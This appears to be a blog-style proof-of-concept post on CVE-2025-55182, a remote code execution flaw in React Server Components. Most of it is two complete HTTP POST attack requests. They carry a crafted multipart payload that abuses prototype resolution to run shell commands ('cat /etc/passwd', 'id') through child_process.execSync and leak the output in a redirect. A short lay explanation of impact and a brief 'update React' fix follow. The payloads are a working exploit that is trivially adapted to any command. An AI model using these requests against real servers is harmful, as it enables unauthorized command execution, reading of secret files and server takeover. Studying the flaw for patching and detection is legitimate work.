React Server Components RCE - CVE-2025-55182

Hello! I hope you're having a great day! 😊✨

What's This About?

React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 have a serious security problem. The packages react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack are affected.

The problem happens when the server reads data from requests in an unsafe way. Attackers can send special data that makes the server run their commands.

Proof of Concept - Full Attack Example

Here's the complete attack request that shows the problem. I've changed the commands to safe examples.

Replace target-website.com with the website you're testing.

Attack Request #1 - Read System File

POST / HTTP/1.1
Host: target-website.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 721

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /etc/passwd|tr \"\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Attack Request #2 - Check User Information

POST / HTTP/1.1
Host: target-website.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 691

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Simple Explanation

The server reads data from the request
Bad data can trick the server into running commands
Attackers can run any command they want
The commands are hidden in the data we send

What Can Happen?

Attackers can:

Run any command on the server
Read secret files
Take control of the server
Steal all the data

How to Fix It

Update React immediately! Get the latest version where this problem is fixed.

Useful Links

Take care and stay safe on your side! ✨❤️

React2Shell_cve-2025-55182

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